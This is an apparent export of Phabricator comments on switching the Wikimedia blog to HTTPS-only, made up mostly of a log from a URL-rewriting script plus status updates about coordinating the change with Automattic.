249: Post #21619 was modified in 1 place(s)
250: Post #21928 was modified in 1 place(s)
251: Post #21929 was modified in 1 place(s)
252: Post #22566 was modified in 1 place(s)
253: Post #22581 was modified in 1 place(s)
254: Post #22863 was modified in 2 place(s)
255: Post #23053 was modified in 1 place(s)
256: Post #23062 was modified in 1 place(s)
257: Post #23382 was modified in 1 place(s)
258: Post #23524 was modified in 1 place(s)
259: Post #23545 was modified in 1 place(s)
260: Post #23591 was modified in 1 place(s)
261: Post #23694 was modified in 1 place(s)
262: Post #23711 was modified in 1 place(s)
263: Post #23722 was modified in 1 place(s)
264: Post #23780 was modified in 1 place(s)
265: Post #23784 was modified in 1 place(s)
266: Post #23883 was modified in 1 place(s)
267: Post #23890 was modified in 1 place(s)
268: Post #23924 was modified in 1 place(s)
269: Post #24040 was modified in 1 place(s)
270: Post #24042 was modified in 1 place(s)
271: Post #24618 was modified in 1 place(s)
272: Post #24623 was modified in 1 place(s)
273: Post #24924 was modified in 1 place(s)
274: Post #25223 was modified in 1 place(s)
275: Post #25546 was modified in 1 place(s)
276: Post #25629 was modified in 1 place(s)
277: Post #26109 was modified in 1 place(s)
278: Post #26347 was modified in 1 place(s)
279: Post #26923 was modified in 1 place(s)
280: Post #27605 was modified in 1 place(s)
281: Post #27800 was modified in 1 place(s)
282: Post #27836 was modified in 1 place(s)
283: Post #31021 was modified in 1 place(s)
284: Post #31066 was modified in 3 place(s)
285: Post #31097 was modified in 1 place(s)
286: Post #9247 was modified in 1 place(s)
287: Post #7960 was modified in 2 place(s)
288: Post #8950 was modified in 2 place(s)
289: Post #9172 was modified in 1 place(s)
290: Post #9297 was modified in 2 place(s)
291: Post #9451 was modified in 3 place(s)
292: Post #9473 was modified in 15 place(s)
293: Post #9673 was modified in 2 place(s)
294: Post #9741 was modified in 8 place(s)
295: Post #9748 was modified in 7 place(s)
296: Post #10027 was modified in 29 place(s)
297: Post #10074 was modified in 1 place(s)
298: Post #10377 was modified in 6 place(s)
299: Post #10381 was modified in 4 place(s)
300: Post #36051 was modified in 2 place(s)
301: Post #36053 was modified in 2 place(s)
302: Post #36054 was modified in 3 place(s)
Success: All done! 303 posts were modified and 0 weren't.

Found 436 posts to update on http://blog.wikimedia.org
str_replace( 'http://wikimediablog.files.wordpress.com/', 'https://wikimediablog.files.wordpress.com/' ); will be run against post_content rows.
0: Post #60 was modified in 2 place(s)
1: Post #3708 was modified in 1 place(s)
2: Post #3709 was modified in 1 place(s)
3: Post #3716 was modified in 1 place(s)
4: Post #3730 was modified in 1 place(s)
5: Post #907 was modified in 1 place(s)
6: Post #3731 was modified in 2 place(s)
7: Post #3736 was modified in 1 place(s)
8: Post #3737 was modified in 6 place(s)
9: Post #3740 was modified in 1 place(s)
10: Post #3741 was modified in 1 place(s)
11: Post #3742 was modified in 2 place(s)
12: Post #3744 was modified in 1 place(s)
13: Post #3745 was modified in 2 place(s)
14: Post #3746 was modified in 2 place(s)
15: Post #3747 was modified in 1 place(s)
16: Post #3748 was modified in 2 place(s)
17: Post #3751 was modified in 2 place(s)
18: Post #3752 was modified in 2 place(s)
19: Post #3757 was modified in 2 place(s)
20: Post #3759 was modified in 2 place(s)
21: Post #3762 was modified in 2 place(s)
22: Post #3778 was modified in 2 place(s)
23: Post #3788 was modified in 2 place(s)
24: Post #3790 was modified in 2 place(s)
25: Post #3791 was modified in 1 place(s)
26: Post #3793 was modified in 1 place(s)
27: Post #3795 was modified in 1 place(s)
28: Post #3796 was modified in 1 place(s)
29: Post #3797 was modified in 2 place(s)
30: Post #1562 was modified in 7 place(s)
31: Post #3813 was modified in 2 place(s)
32: Post #2025 was modified in 2 place(s)
33: Post #3816 was modified in 2 place(s)
34: Post #3817 was modified in 2 place(s)
35: Post #3820 was modified in 6 place(s)
36: Post #2050 was modified in 1 place(s)
37: Post #2099 was modified in 1 place(s)
38: Post #3823 was modified in 2 place(s)
39: Post #2254 was modified in 2 place(s)
40: Post #2388 was modified in 4 place(s)
41: Post #3830 was modified in 1 place(s)
42: Post #1139 was modified in 6 place(s)
43: Post #3834 was modified in 1 place(s)
44: Post #3838 was modified in 1 place(s)
45: Post #3839 was modified in 1 place(s)
46: Post #3840 was modified in 4 place(s)
47: Post #2563 was modified in 1 place(s)
48: Post #2662 was modified in 2 place(s)
49: Post #2679 was modified in 8 place(s)
50: Post #2708 was modified in 1 place(s)
51: Post #2738 was modified in 2 place(s)
52: Post #2957 was modified in 1 place(s)
53: Post #3856 was modified in 2 place(s)
54: Post #3858 was modified in 2 place(s)
55: Post #3007 was modified in 4 place(s)
56: Post #3348 was modified in 3 place(s)
57: Post #3530 was modified in 1 place(s)
58: Post #3862 was modified in 3 place(s)
59: Post #3587 was modified in 2 place(s)
60: Post #3687 was modified in 2 place(s)
61: Post #4100 was modified in 4 place(s)
62: Post #4125 was modified in 2 place(s)
63: Post #4142 was modified in 1 place(s)
64: Post #4157 was modified in 2 place(s)
65: Post #4177 was modified in 1 place(s)
66: Post #4214 was modified in 5 place(s)
67: Post #4254 was modified in 1 place(s)
68: Post #4393 was modified in 2 place(s)
69: Post #4418 was modified in 1 place(s)
70: Post #4424 was modified in 4 place(s)
71: Post #4452 was modified in 1 place(s)
72: Post #4482 was modified in 1 place(s)
73: Post #4599 was modified in 1 place(s)
74: Post #4624 was modified in 1 place(s)
75: Post #4766 was modified in 3 place(s)
76: Post #4646 was modified in 2 place(s)
77: Post #4823 was modified in 3 place(s)
78: Post #4911 was modified in 1 place(s)
79: Post #5053 was modified in 2 place(s)
80: Post #5072 was modified in 6 place(s)
81: Post #5154 was modified in 1 place(s)
82: Post #5178 was modified in 2 place(s)
83: Post #5254 was modified in 3 place(s)
84: Post #5234 was modified in 1 place(s)
85: Post #5295 was modified in 3 place(s)
86: Post #5430 was modified in 2 place(s)
87: Post #5490 was modified in 2 place(s)
88: Post #5543 was modified in 2 place(s)
89: Post #5557 was modified in 1 place(s)
90: Post #5622 was modified in 1 place(s)
91: Post #5671 was modified in 1 place(s)
92: Post #5724 was modified in 1 place(s)
93: Post #5614 was modified in 2 place(s)
94: Post #5804 was modified in 1 place(s)
95: Post #5822 was modified in 1 place(s)
96: Post #5900 was modified in 1 place(s)
97: Post #5984 was modified in 1 place(s)
98: Post #6032 was modified in 3 place(s)
99: Post #6106 was modified in 1 place(s)
100: Post #5907 was modified in 1 place(s)
101: Post #6137 was modified in 2 place(s)
102: Post #6199 was modified in 1 place(s)
103: Post #6203 was modified in 2 place(s)
104: Post #6241 was modified in 5 place(s)
105: Post #6322 was modified in 5 place(s)
106: Post #6362 was modified in 2 place(s)
107: Post #6391 was modified in 2 place(s)
108: Post #6497 was modified in 2 place(s)
109: Post #6509 was modified in 2 place(s)
110: Post #6537 was modified in 1 place(s)
111: Post #6545 was modified in 1 place(s)
112: Post #6713 was modified in 2 place(s)
113: Post #6780 was modified in 2 place(s)
114: Post #6851 was modified in 2 place(s)
115: Post #6912 was modified in 5 place(s)
116: Post #7083 was modified in 1 place(s)
117: Post #7126 was modified in 4 place(s)
118: Post #7470 was modified in 2 place(s)
119: Post #7801 was modified in 1 place(s)
120: Post #7815 was modified in 1 place(s)
121: Post #7921 was modified in 1 place(s)
122: Post #7930 was modified in 2 place(s)
123: Post #7983 was modified in 1 place(s)
124: Post #8040 was modified in 2 place(s)
125: Post #8383 was modified in 1 place(s)
126: Post #8452 was modified in 2 place(s)
127: Post #8536 was modified in 1 place(s)
128: Post #8574 was modified in 1 place(s)
129: Post #8600 was modified in 1 place(s)
130: Post #8197 was modified in 13 place(s)
131: Post #8618 was modified in 1 place(s)
132: Post #8850 was modified in 1 place(s)
133: Post #8826 was modified in 2 place(s)
134: Post #8848 was modified in 1 place(s)
135: Post #8931 was modified in 1 place(s)
136: Post #8940 was modified in 1 place(s)
137: Post #8964 was modified in 1 place(s)
138: Post #8989 was modified in 1 place(s)
139: Post #8992 was modified in 1 place(s)
140: Post #9039 was modified in 1 place(s)
141: Post #9055 was modified in 1 place(s)
142: Post #10489 was modified in 3 place(s)
143: Post #10604 was modified in 2 place(s)
144: Post #10638 was modified in 2 place(s)
145: Post #10655 was modified in 1 place(s)
146: Post #10757 was modified in 1 place(s)
147: Post #10778 was modified in 1 place(s)
148: Post #10849 was modified in 1 place(s)
149: Post #10937 was modified in 3 place(s)
150: Post #11103 was modified in 3 place(s)
151: Post #11190 was modified in 2 place(s)
152: Post #11102 was modified in 1 place(s)
153: Post #11331 was modified in 3 place(s)
154: Post #11444 was modified in 1 place(s)
155: Post #11503 was modified in 1 place(s)
156: Post #11440 was modified in 1 place(s)
157: Post #11598 was modified in 2 place(s)
158: Post #11619 was modified in 2 place(s)
159: Post #11391 was modified in 9 place(s)
160: Post #11596 was modified in 4 place(s)
161: Post #11670 was modified in 1 place(s)
162: Post #11864 was modified in 1 place(s)
163: Post #11935 was modified in 2 place(s)
164: Post #12085 was modified in 1 place(s)
165: Post #12111 was modified in 1 place(s)
166: Post #12128 was modified in 1 place(s)
167: Post #12165 was modified in 2 place(s)
168: Post #12186 was modified in 1 place(s)
169: Post #12189 was modified in 1 place(s)
170: Post #12244 was modified in 2 place(s)
171: Post #12333 was modified in 2 place(s)
172: Post #12361 was modified in 2 place(s)
173: Post #12376 was modified in 1 place(s)
174: Post #12388 was modified in 3 place(s)
175: Post #12437 was modified in 1 place(s)
176: Post #12448 was modified in 1 place(s)
177: Post #12612 was modified in 2 place(s)
178: Post #12559 was modified in 1 place(s)
179: Post #12673 was modified in 2 place(s)
180: Post #12685 was modified in 2 place(s)
181: Post #12729 was modified in 1 place(s)
182: Post #12859 was modified in 2 place(s)
183: Post #12987 was modified in 1 place(s)
184: Post #12999 was modified in 2 place(s)
185: Post #13092 was modified in 1 place(s)
186: Post #12759 was modified in 1 place(s)
187: Post #13387 was modified in 1 place(s)
188: Post #13513 was modified in 2 place(s)
189: Post #13566 was modified in 1 place(s)
190: Post #13678 was modified in 1 place(s)
191: Post #13695 was modified in 2 place(s)
192: Post #13637 was modified in 2 place(s)
193: Post #13765 was modified in 1 place(s)
194: Post #13894 was modified in 2 place(s)
195: Post #13931 was modified in 1 place(s)
196: Post #14007 was modified in 1 place(s)
197: Post #14039 was modified in 1 place(s)
198: Post #14059 was modified in 2 place(s)
199: Post #14157 was modified in 1 place(s)
200: Post #14283 was modified in 2 place(s)
201: Post #14206 was modified in 3 place(s)
202: Post #14317 was modified in 4 place(s)
203: Post #14442 was modified in 3 place(s)
204: Post #14884 was modified in 2 place(s)
205: Post #14938 was modified in 1 place(s)
206: Post #15007 was modified in 2 place(s)
207: Post #14382 was modified in 3 place(s)
208: Post #15155 was modified in 3 place(s)
209: Post #15230 was modified in 1 place(s)
210: Post #15356 was modified in 1 place(s)
211: Post #15460 was modified in 1 place(s)
212: Post #15153 was modified in 1 place(s)
213: Post #15349 was modified in 2 place(s)
214: Post #15562 was modified in 2 place(s)
215: Post #15732 was modified in 3 place(s)
216: Post #14667 was modified in 2 place(s)
217: Post #15195 was modified in 2 place(s)
218: Post #15743 was modified in 1 place(s)
219: Post #15961 was modified in 1 place(s)
220: Post #15928 was modified in 2 place(s)
221: Post #16081 was modified in 2 place(s)
222: Post #16196 was modified in 2 place(s)
223: Post #16239 was modified in 2 place(s)
224: Post #16396 was modified in 1 place(s)
225: Post #15523 was modified in 1 place(s)
226: Post #15920 was modified in 3 place(s)
227: Post #16211 was modified in 3 place(s)
228: Post #16404 was modified in 1 place(s)
229: Post #16460 was modified in 1 place(s)
230: Post #16670 was modified in 2 place(s)
231: Post #16686 was modified in 1 place(s)
232: Post #16850 was modified in 1 place(s)
233: Post #16873 was modified in 2 place(s)
234: Post #16941 was modified in 1 place(s)
235: Post #16836 was modified in 3 place(s)
236: Post #17050 was modified in 2 place(s)
237: Post #17088 was modified in 1 place(s)
238: Post #17122 was modified in 1 place(s)
239: Post #17157 was modified in 1 place(s)
240: Post #17212 was modified in 4 place(s)
241: Post #17330 was modified in 1 place(s)
242: Post #17406 was modified in 1 place(s)
243: Post #17468 was modified in 1 place(s)
244: Post #17519 was modified in 1 place(s)
245: Post #17536 was modified in 1 place(s)
246: Post #17683 was modified in 2 place(s)
247: Post #17705 was modified in 1 place(s)
248: Post #17612 was modified in 1 place(s)
249: Post #17842 was modified in 1 place(s)
250: Post #17861 was modified in 1 place(s)
251: Post #17865 was modified in 2 place(s)
252: Post #17987 was modified in 3 place(s)
253: Post #18037 was modified in 2 place(s)
254: Post #18096 was modified in 1 place(s)
255: Post #18116 was modified in 1 place(s)
256: Post #18144 was modified in 1 place(s)
257: Post #18164 was modified in 1 place(s)
258: Post #18191 was modified in 1 place(s)
259: Post #18263 was modified in 1 place(s)
260: Post #18215 was modified in 2 place(s)
261: Post #18242 was modified in 1 place(s)
262: Post #18291 was modified in 1 place(s)
263: Post #18339 was modified in 1 place(s)
264: Post #18350 was modified in 2 place(s)
265: Post #18486 was modified in 1 place(s)
266: Post #18540 was modified in 1 place(s)
267: Post #18552 was modified in 1 place(s)
268: Post #18567 was modified in 3 place(s)
269: Post #18596 was modified in 2 place(s)
270: Post #18657 was modified in 1 place(s)
271: Post #18667 was modified in 1 place(s)
272: Post #18693 was modified in 1 place(s)
273: Post #18696 was modified in 10 place(s)
274: Post #15834 was modified in 2 place(s)
275: Post #18765 was modified in 3 place(s)
276: Post #18802 was modified in 1 place(s)
277: Post #18907 was modified in 1 place(s)
278: Post #18919 was modified in 2 place(s)
279: Post #18985 was modified in 2 place(s)
280: Post #18994 was modified in 2 place(s)
281: Post #19005 was modified in 1 place(s)
282: Post #19042 was modified in 3 place(s)
283: Post #19087 was modified in 3 place(s)
284: Post #19031 was modified in 3 place(s)
285: Post #19040 was modified in 3 place(s)
286: Post #19133 was modified in 3 place(s)
287: Post #19063 was modified in 3 place(s)
288: Post #19234 was modified in 1 place(s)
289: Post #19256 was modified in 3 place(s)
290: Post #19291 was modified in 6 place(s)
291: Post #19320 was modified in 3 place(s)
292: Post #19339 was modified in 1 place(s)
293: Post #19360 was modified in 2 place(s)
294: Post #19426 was modified in 1 place(s)
295: Post #19488 was modified in 1 place(s)
296: Post #19520 was modified in 3 place(s)
297: Post #19060 was modified in 3 place(s)
298: Post #19507 was modified in 3 place(s)
299: Post #19529 was modified in 3 place(s)
300: Post #19579 was modified in 1 place(s)
301: Post #19591 was modified in 1 place(s)
302: Post #19847 was modified in 3 place(s)
303: Post #19512 was modified in 1 place(s)
304: Post #19532 was modified in 3 place(s)
305: Post #19592 was modified in 3 place(s)
306: Post #19640 was modified in 3 place(s)
307: Post #19659 was modified in 6 place(s)
308: Post #19671 was modified in 3 place(s)
309: Post #19077 was modified in 3 place(s)
310: Post #19210 was modified in 3 place(s)
311: Post #19769 was modified in 4 place(s)
312: Post #19794 was modified in 6 place(s)
313: Post #19770 was modified in 4 place(s)
314: Post #19793 was modified in 3 place(s)
315: Post #19809 was modified in 3 place(s)
316: Post #19810 was modified in 6 place(s)
317: Post #19827 was modified in 2 place(s)
318: Post #19848 was modified in 3 place(s)
319: Post #19855 was modified in 2 place(s)
320: Post #19884 was modified in 3 place(s)
321: Post #19940 was modified in 3 place(s)
322: Post #20012 was modified in 6 place(s)
323: Post #20040 was modified in 2 place(s)
324: Post #20067 was modified in 1 place(s)
325: Post #20199 was modified in 1 place(s)
326: Post #20178 was modified in 1 place(s)
327: Post #20233 was modified in 2 place(s)
328: Post #20273 was modified in 1 place(s)
329: Post #20289 was modified in 1 place(s)
330: Post #20317 was modified in 1 place(s)
331: Post #20354 was modified in 2 place(s)
332: Post #20396 was modified in 1 place(s)
333: Post #20412 was modified in 2 place(s)
334: Post #20522 was modified in 5 place(s)
335: Post #20495 was modified in 1 place(s)
336: Post #20561 was modified in 1 place(s)
337: Post #20585 was modified in 1 place(s)
338: Post #20618 was modified in 1 place(s)
339: Post #20666 was modified in 1 place(s)
340: Post #20744 was modified in 1 place(s)
341: Post #20799 was modified in 2 place(s)
342: Post #20851 was modified in 1 place(s)
343: Post #20868 was modified in 1 place(s)
344: Post #20905 was modified in 1 place(s)
345: Post #20946 was modified in 1 place(s)
346: Post #20969 was modified in 1 place(s)
347: Post #20984 was modified in 1 place(s)
348: Post #21140 was modified in 1 place(s)
349: Post #21151 was modified in 1 place(s)
350: Post #21160 was modified in 1 place(s)
351: Post #21172 was modified in 2 place(s)
352: Post #21180 was modified in 1 place(s)
353: Post #21255 was modified in 1 place(s)
354: Post #21271 was modified in 1 place(s)
355: Post #21286 was modified in 1 place(s)
356: Post #21342 was modified in 3 place(s)
357: Post #21359 was modified in 1 place(s)
358: Post #21441 was modified in 2 place(s)
359: Post #21548 was modified in 1 place(s)
360: Post #21205 was modified in 1 place(s)
361: Post #21577 was modified in 1 place(s)
362: Post #21636 was modified in 1 place(s)
363: Post #21673 was modified in 1 place(s)
364: Post #21739 was modified in 1 place(s)
365: Post #20455 was modified in 2 place(s)
366: Post #21543 was modified in 1 place(s)
367: Post #21811 was modified in 1 place(s)
368: Post #21821 was modified in 2 place(s)
369: Post #21854 was modified in 1 place(s)
370: Post #21871 was modified in 2 place(s)
371: Post #21955 was modified in 1 place(s)
372: Post #22050 was modified in 1 place(s)
373: Post #22066 was modified in 1 place(s)
374: Post #22089 was modified in 1 place(s)
375: Post #22098 was modified in 1 place(s)
376: Post #22174 was modified in 1 place(s)
377: Post #22359 was modified in 2 place(s)
378: Post #22456 was modified in 1 place(s)
379: Post #22537 was modified in 1 place(s)
380: Post #22602 was modified in 1 place(s)
381: Post #22640 was modified in 2 place(s)
382: Post #22701 was modified in 1 place(s)
383: Post #22739 was modified in 1 place(s)
384: Post #22082 was modified in 2 place(s)
385: Post #22790 was modified in 1 place(s)
386: Post #22820 was modified in 1 place(s)
387: Post #22847 was modified in 1 place(s)
388: Post #22882 was modified in 1 place(s)
389: Post #22944 was modified in 1 place(s)
390: Post #22973 was modified in 7 place(s)
391: Post #23034 was modified in 1 place(s)
392: Post #23072 was modified in 1 place(s)
393: Post #23081 was modified in 1 place(s)
394: Post #23097 was modified in 2 place(s)
395: Post #23164 was modified in 1 place(s)
396: Post #23179 was modified in 1 place(s)
397: Post #23243 was modified in 2 place(s)
398: Post #23273 was modified in 1 place(s)
399: Post #23345 was modified in 1 place(s)
400: Post #23310 was modified in 2 place(s)
401: Post #23360 was modified in 1 place(s)
402: Post #23438 was modified in 1 place(s)
403: Post #23947 was modified in 5 place(s)
404: Post #31020 was modified in 2 place(s)
405: Post #31066 was modified in 1 place(s)
406: Post #31107 was modified in 1 place(s)
407: Post #31166 was modified in 2 place(s)
408: Post #31169 was modified in 1 place(s)
409: Post #31170 was modified in 1 place(s)
410: Post #9107 was modified in 1 place(s)
411: Post #9155 was modified in 2 place(s)
412: Post #9194 was modified in 1 place(s)
413: Post #9205 was modified in 1 place(s)
414: Post #9256 was modified in 1 place(s)
415: Post #8977 was modified in 2 place(s)
416: Post #9589 was modified in 1 place(s)
417: Post #9415 was modified in 1 place(s)
418: Post #9685 was modified in 3 place(s)
419: Post #9717 was modified in 1 place(s)
420: Post #9780 was modified in 2 place(s)
421: Post #9815 was modified in 1 place(s)
422: Post #9824 was modified in 2 place(s)
423: Post #9914 was modified in 2 place(s)
424: Post #9928 was modified in 3 place(s)
425: Post #9949 was modified in 1 place(s)
426: Post #10013 was modified in 1 place(s)
427: Post #10074 was modified in 2 place(s)
428: Post #10167 was modified in 1 place(s)
429: Post #10190 was modified in 2 place(s)
430: Post #10260 was modified in 2 place(s)
431: Post #10343 was modified in 1 place(s)
432: Post #10398 was modified in 1 place(s)
433: Post #31533 was modified in 2 place(s)
434: Post #31813 was modified in 1 place(s)
435: Post #37792 was modified in 1 place(s)
Success: All done! 436 posts were modified and 0 weren't.
```",,,1459158452,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,38,True,4.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,3.0,0.0,6.0,13.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,4.0,0.0,0.0,0.0,1.0,0.0,14.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,12.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,4.0,13.0,4.0,0.0,2.0,0.0,4.0,0.0,1.0,0.0,1.0,2.0,2.0,0.0,0.0,4.02020202020202,0.6868686868686869,"Update: After some more detours, all posts that embedded HTTP content should now have been converted to HTTPS. In the end Automattic ran two conversion scripts for us, see log below. Checking about 10 random posts from each list, they all look good. In addition, I have now manually fixed the five posts found earlier with the ""mixed content scan"" tool.

I've followed up with Automattic to see about the completion of the remaining steps from the task description.

``CODE``"
624259,Switch blog to HTTPS-only,"Update: Followed up again on March 4 and got yet another response from yet another person: It's actually possibly to use WP-CLI for replacements, but scripts can't process all posts at once (apparently because of timeouts, cf. https://vip.wordpress.com/documentation/writing-bin-scripts/ ) and instead should loop through posts in blocks of 100. I have resent the WP-CLI commands I tested earlier, for a first dry-run, and also asked for advice on the best way to do this looping to match their requirements.",,,1457327106,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,35,True,1.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,11.0,16.0,0.0,3.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,11.0,1.0,4.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,4.0,16.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,3.845360824742268,0.7628865979381443,"Update: Followed up again on March 4 and got yet another response from yet another person: It's actually possibly to use WP-CLI for replacements, but scripts can't process all posts at once (apparently because of timeouts, cf. URL ) and instead should loop through posts in blocks of 100. I have resent the WP-CLI commands I tested earlier, for a first dry-run, and also asked for advice on the best way to do this looping to match their requirements."
620348,Switch blog to HTTPS-only,Assigning to Tilman for the time being since he's currently running the discussion with Automattic,,,1456819853,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,34,True,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,25.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,19.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,25.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,5.25,0.9375,Assigning to Tilman for the time being since he's currently running the discussion with Automattic
618425,Switch blog to HTTPS-only,"(Update: Heard back on Feb 10 that they needed to check with someone specific about this and would get back. On Feb 18 I sent a reminder and got the reply that they would ""ping on this again and see what's up"". I sent another reminder-thanks today.)",,,1456464909,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,34,True,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,14.0,2.0,2.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,2.0,10.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,12.0,3.0,5.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,7.0,14.0,3.0,0.0,3.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5,0.7413793103448276,"(Update: Heard back on Feb 10 that they needed to check with someone specific about this and would get back. On Feb 18 I sent a reminder and got the reply that they would ""ping on this again and see what's up"". I sent another reminder-thanks today.)"
605419,Switch blog to HTTPS-only,">>! In T105905#1979351, @Varnent wrote:
> Is there a status update on this? Just curious as it came up on IRC. :)

Yes, so I followed up with Automattic in November, and they eventually offered a solution that should work for our purposes (""It will update any mentions of the target string in the post_content field for published posts only""). It then took me a while to look into this and confirm that this indeed what we want - I just sent one last followup for clarification, but I hope that we are good to go after that.",,,1454918526,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,31,True,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,8.0,0.0,7.0,16.0,0.0,2.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,1.0,0.0,1.0,2.0,10.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,11.0,2.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,11.0,16.0,2.0,0.0,2.0,0.0,11.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,3.898876404494382,0.7752808988764045,"QUOTE
QUOTE

Yes, so I followed up with Automattic in November, and they eventually offered a solution that should work for our purposes (""It will update any mentions of the target string in the post_content field for published posts only""). It then took me a while to look into this and confirm that this indeed what we want - I just sent one last followup for clarification, but I hope that we are good to go after that."
599306,Switch blog to HTTPS-only,Is there a status update on this? Just curious as it came up on IRC. :),,,1454012497,,PHID-USER-tbsqok4i4d2fpoef36s2,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,30,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,22.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,0.9444444444444444,Is there a status update on this? Just curious as it came up on IRC. :)
523986,Switch blog to HTTPS-only,"Update for those following along here: Heard back from Automattic last week and it turns out that contrary to the previous discussion, the search/replace feature of WP-CLI is actually disabled on VIP because it can cause database issues. They are looking into alternative options.",,,1441853091,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,19.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.5576923076923075,0.9423076923076923,"Update for those following along here: Heard back from Automattic last week and it turns out that contrary to the previous discussion, the search/replace feature of WP-CLI is actually disabled on VIP because it can cause database issues. They are looking into alternative options."
512758,Switch blog to HTTPS-only,"Hi Faidon, you should actually still be on CC for the internal ticket via Zendesk. But just to be sure, I will make sure to CC explicitly in my next response to Automattic, which I intend to send this weekend once I find a bit of time to work on the remaining items (see below).

In the meantime, a quick summary of what has happened since the last public update here:

  - It turned out that Automattic's caching layer and CDN actually **rewrites many src=""http..."" links to HTTPS anyway**, including all references to the blog's wordpress files subdomain itself. E.g. in [[https://blog.wikimedia.org/2011/06/08/public-policy-initiative-wraps-up-pilot-academic-year/ |this post]], this code in the source:

```

src=""http://wikimediablog.files.wordpress.com/2011/06/amount-of-content-added-by-students-06-06-2011.png""
```
becomes the following in the publicly displayed HTML:

```
